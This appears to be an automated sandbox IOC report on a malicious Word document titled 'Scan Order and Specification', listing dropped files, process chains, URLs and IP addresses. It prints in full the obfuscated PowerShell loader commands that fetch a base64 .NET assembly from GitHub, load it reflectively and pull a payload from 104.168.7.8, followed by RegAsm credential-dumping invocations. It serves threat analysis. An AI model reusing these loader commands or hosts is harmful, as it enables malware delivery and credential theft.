IOC Report
Scan Order and Specification 01-10- 2024.docx

Scan Order and Specification 01-10- 2024.docx

Microsoft Word 2007+

initial sample

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\creambananacakegoodforladieswholovethebananasametimesheknowtheveryniceideadslawyasgetbackgreatthingswithme____securethingsareinthr[1].doc

Rich Text Format data, version 1

dropped

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F971B2FE.doc

Rich Text Format data, version 1

dropped

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{E867F054-9E2E-42CB-9DBD-A2E82224CF64}.tmp

Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Author: Microsoft Corporation, Last Saved By: 91974, Name of Creating Application: Microsoft Excel, Last Printed: Mon Jul 15 16:30:47 2024, Create Time/Date: Mon Oct 21 12:03:58 1996, Last Saved Time/Date: Mon Sep 30 09:11:40 2024, Security: 0

dropped

C:\Users\user\AppData\Local\Temp\nor\logs.dat

data

dropped

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\9aubsm.url

MS Windows 95 Internet shortcut text (URL=<https://og1.in/9aubsm>), ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\RN on 104.168.7.8.url

MS Windows 95 Internet shortcut text (URL=<http://104.168.7.8/510/RN/>), ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Roaming\niceworkwithpcitureupdateson.vBS

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

C:\Windows\SysWOW64\wscript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\niceworkwithpcitureupdateson.vBS"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LigoR1YgJyptRHIqJykubmFNZVszLDExLDJdLUpvaU4nJykoICgoJ3sxfXVybCA9IHswfWh0dCcrJ3BzJysnOi8nKycvcmF3LmcnKydpdCcrJ2h1YnVzZXJjb250JysnZW50JysnLmNvJysnbS9Ob0RlJysndGVjJysndE9uJysnL04nKydvRCcrJ2UnKyd0ZWN0JysnT24vcmVmcycrJy9oZWFkcy8nKydtYWluJysnL0RldGEnKydoTm8nKyd0aC1WLnR4dHswfTsgezEnKyd9JysnYicrJ2FzZTY0Q29udGVudCA9IChOZXcnKyctT2InKydqZWMnKyd0IFMnKyd5JysncycrJ3RlbS5OZXQnKycuV2ViJysnQ2xpZScrJ250KS4nKydEb3dubG8nKydhZFN0cicrJ2luZyh7JysnMX11JysncmwpOyB7MX1iJysnaW4nKydhcnlDb250ZW50ID0gWycrJ1N5c3QnKydlJysnbS4nKydDbycrJ252ZXInKyd0JysnXScrJzo6JysnRnJvbUJhJysnc2U2JysnNFMnKyd0JysncmknKyduZyh7JysnMScrJ31iYScrJ3NlJysnNjRDb250JysnZScrJ24nKyd0KTsgezF9YScrJ3NzZW1ibHkgPSBbJysnUmUnKydmbGVjdCcrJ2knKydvbicrJy4nKydBc3NlbScrJ2InKydseV0nKyc6OicrJ0xvJysnYWQoJysnezF9YicrJ2luYXInKyd5Q29udGUnKydudCk7IFtkbmwnKydpYi5JTy4nKydIb21lXScrJzo6JysnVkEnKydJKHsyfXR4JysndC5CR0YnKydSLycrJzAnKycxJysnNS84LjcuOCcrJzYxLjQwMS8vJysnOnB0dGh7Mn0sIHsnKycyJysnfScrJ2QnKydlc2EnKyd0aXZhZG97Mn0nKycsIHsyfWRlJysncycrJ2F0aXZhZCcrJ28nKyd7MicrJ30sIHsyJysnfWRlcycrJ2F0JysnaXZhJysnZG97JysnMn0nKycsIHsyfVInKydlJysnZ0FzbXsnKycyfSwgezInKyd9ezJ9LCcrJ3snKycyJysnfScrJ3syfSknKS1mIFtjSEFSXTM5LFtjSEFSXTM2LFtjSEFSXTM0KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".((GV '*mDr*').naMe[3,11,2]-JoiN'')( (('{1}url = {0}htt'+'ps'+':/'+'/raw.g'+'it'+'hubusercont'+'ent'+'.co'+'m/NoDe'+'tec'+'tOn'+'/N'+'oD'+'e'+'tect'+'On/refs'+'/heads/'+'main'+'/Deta'+'hNo'+'th-V.txt{0}; {1'+'}'+'b'+'ase64Content = (New'+'-Ob'+'jec'+'t S'+'y'+'s'+'tem.Net'+'.Web'+'Clie'+'nt).'+'Downlo'+'adStr'+'ing({'+'1}u'+'rl); {1}b'+'in'+'aryContent = ['+'Syst'+'e'+'m.'+'Co'+'nver'+'t'+']'+'::'+'FromBa'+'se6'+'4S'+'t'+'ri'+'ng({'+'1'+'}ba'+'se'+'64Cont'+'e'+'n'+'t); {1}a'+'ssembly = ['+'Re'+'flect'+'i'+'on'+'.'+'Assem'+'b'+'ly]'+'::'+'Lo'+'ad('+'{1}b'+'inar'+'yConte'+'nt); [dnl'+'ib.IO.'+'Home]'+'::'+'VA'+'I({2}tx'+'t.BGF'+'R/'+'0'+'1'+'5/8.7.8'+'61.401//'+':ptth{2}, {'+'2'+'}'+'d'+'esa'+'tivado{2}'+', {2}de'+'s'+'ativad'+'o'+'{2'+'}, {2'+'}des'+'at'+'iva'+'do{'+'2}'+', {2}R'+'e'+'gAsm{'+'2}, {2'+'}{2},'+'{'+'2'+'}'+'{2})')-f [cHAR]39,[cHAR]36,[cHAR]34))"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\ichnvnuxjbsorvkwq"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\ichnvnuxjbsorvkwq"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\twmgvffrxjktbjyahjdg"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\vyrywypslrcydpuequqaufz"

https://og1.in/9aubsm

172.67.216.244

103.186.116.99

http://104.168.7.8/510/RFGB.txt

104.168.7.8

http://104.168.7.8/510/niceworkwithpcitureupdateson.tIF

104.168.7.8

http://104.168.7.8/510/RN/creambananacakegoodforladieswholovethebananasametimesheknowtheveryniceideadslawyasgetbackgreatthingswithme____securethingsareinthr.doc

104.168.7.8